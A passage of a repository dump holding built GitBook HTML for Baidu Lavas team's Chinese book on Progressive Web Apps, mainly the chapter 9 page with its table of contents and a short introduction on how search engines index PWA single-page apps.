HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter09/4-preload-pwa.md\",\"mtime\":\"2019-06-19T10:37:42.418Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter09.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第9章 PWA 与搜索 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter09/1-search-engine-index.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter08/2-rendering-performance.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第9章 PWA 与搜索</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x4E0E;&#x641C;&#x7D22;\"><b></b>PWA &#x4E0E;&#x641C;&#x7D22;</a></li></ul></div><a href=\"#pwa-&#x4E0E;&#x641C;&#x7D22;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"pwa-&#x4E0E;&#x641C;&#x7D22;\"><a name=\"pwa-&#x4E0E;&#x641C;&#x7D22;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x4E0E;&#x641C;&#x7D22;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x4E0E;&#x641C;&#x7D22;\" class=\"plugin-anchor\" href=\"#pwa-&#x4E0E;&#x641C;&#x7D22;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x4E0E;&#x641C;&#x7D22;</h1>\n<p>PWA &#x662F; Web &#x7684;&#x4E00;&#x79CD;&#x5F62;&#x5F0F;&#xFF0C;&#x641C;&#x7D22;&#x4ECD;&#x662F;&#x5B83;&#x7684;&#x4E00;&#x5927;&#x5165;&#x53E3;&#x3002;</p>\n<p>&#x719F;&#x77E5;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x90FD;&#x77E5;&#x9053;&#xFF0C;&#x65E9;&#x671F;&#x7684;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x662F;&#x4E0D;&#x652F;&#x6301;&#x6293;&#x53D6; SPA(Single Page Application) &#x7684;&#xFF0C;&#x800C; PWA &#x591A;&#x662F; SPA&#xFF0C;&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x5982;&#x4F55;&#x8BA9;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x80FD;&#x591F;&#x66F4;&#x597D;&#x7684;&#x6536;&#x5F55; PWA &#x9875;&#x9762;&#x662F;&#x672C;&#x7AE0;&#x8981;&#x4ECB;&#x7ECD;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#x3002;</p>\n<p>SPA &#x9875;&#x9762;&#x4F9D;&#x8D56;&#x4E8E; JavaScript &#x8FDB;&#x884C;&#x6E32;&#x67D3;&#xFF0C;&#x5176;&#x5185;&#x5BB9;&#x5E76;&#x4E0D;&#x662F;&#x7531;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x6E32;&#x67D3;&#x76F4;&#x51FA;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x4ECE;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x70B9;&#x51FB;&#x7ED3;&#x679C;&#x8DF3;&#x5230; PWA &#x9875;&#x9762;&#xFF0C;&#x4F1A;&#x7ECF;&#x5386;&#x6BD4;&#x8F83;&#x957F;&#x7684;&#x65F6;&#x95F4;&#x7684;&#x4E00;&#x6BB5;&#x767D;&#x5C4F;&#xFF0C;&#x5982;&#x4F55;&#x63D0;&#x5347; PWA &#x9875;&#x9762;&#x4ECE;&#x641C;&#x7D22;&#x8FC7;&#x6765;&#x7684;&#x4F53;&#x9A8C;&#xFF0C;&#x662F;&#x672C;&#x7AE0;&#x8981;&#x4ECB;&#x7ECD;&#x7684;&#x7B2C;&#x4E8C;&#x4E2A;&#x95EE;&#x9898;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul 